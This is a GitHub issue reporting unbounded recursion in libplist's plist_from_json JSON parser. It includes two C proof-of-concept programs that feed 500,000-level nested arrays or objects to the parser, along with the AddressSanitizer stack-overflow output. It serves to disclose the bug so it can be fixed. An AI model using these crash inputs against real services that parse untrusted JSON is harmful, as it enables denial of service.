-
-
Notifications
You must be signed in to change notification settings - Fork 330
Open
Description
Description
When using plist_from_json to parse json strings to plist, the parse_object and parse_array recursively called have no limit on the number of recursion levels, resulting in stack overflow.
PoC1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>
int main() {
size_t depth = 500000;
size_t len = depth * 2 + 1;
char *json_str = malloc(len + 1);
if (!json_str) return 1;
for (size_t i = 0; i < depth; i++) json_str[i] = '[';
for (size_t i = depth; i < depth * 2; i++) json_str[i] = ']';
json_str[depth * 2] = '\0';
plist_t root = NULL;
plist_err_t err = plist_from_json(json_str, (uint32_t)strlen(json_str), &root);
if (err == PLIST_ERR_SUCCESS) {
plist_free(root);
}
free(json_str);
return 0;
}ASAN Output1
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2247825==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc46a83ff8 (pc 0x74cc160d5912 bp 0x000000000000 sp 0x7ffc46a83ff0 T0)
#0 0x74cc160d5912 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepotbase.h:105
#1 0x74cc160d53cb in __sanitizer::StackDepotPut(__sanitizer::StackTrace) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:98
#2 0x74cc1602c50a in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool) ../../../../src/libsanitizer/asan/asan_allocator.cpp:573
#3 0x74cc160281ff in __asan::Allocator::Calloc(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*) ../../../../src/libsanitizer/asan/asan_allocator.cpp:748
#4 0x74cc160281ff in __asan::asan_calloc(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*) ../../../../src/libsanitizer/asan/asan_allocator.cpp:984
#5 0x74cc160b4a34 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:155
#6 0x74cc16a5a958 in plist_new_plist_data .../libplist/src/plist.c:361
#7 0x74cc16a5ae65 in plist_new_array .../src/plist.c:445
#8 0x74cc16a47128 in parse_array ../src/jplist.c:690
#9 0x74cc16a47439 in parse_array ../src/jplist.c:706
[...]
SUMMARY: AddressSanitizer: stack-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepotbase.h:105 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*)
==2247825==ABORTINGPoC2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>
int main() {
int depth = 500000;
size_t total_len = (depth * 5) + 2 + (depth * 1) + 1;
char *json_str = (char *)malloc(total_len);
if (!json_str) {
return 1;
}
char *ptr = json_str;
for (int i = 0; i < depth; i++) {
memcpy(ptr, "{\"a\":", 5);
ptr += 5;
}
memcpy(ptr, "{}", 2);
ptr += 2;
for (int i = 0; i < depth; i++) {
*ptr = '}';
ptr++;
}
*ptr = '\0';
plist_t root = NULL;
plist_err_t err = plist_from_json(json_str, (uint32_t)total_len, &root);
if (err == PLIST_ERR_SUCCESS) {
plist_free(root);
}
free(json_str);
return 0;
}ASAN Output2
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2254519==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc6c986ff8 (pc 0x75320b6d5c30 bp 0x7ffc6c987000 sp 0x7ffc6c987000 T0)
<empty stack>
SUMMARY: AddressSanitizer: stack-overflow
==2254519==ABORTINGMetadata
Metadata
Assignees
Labels
No labels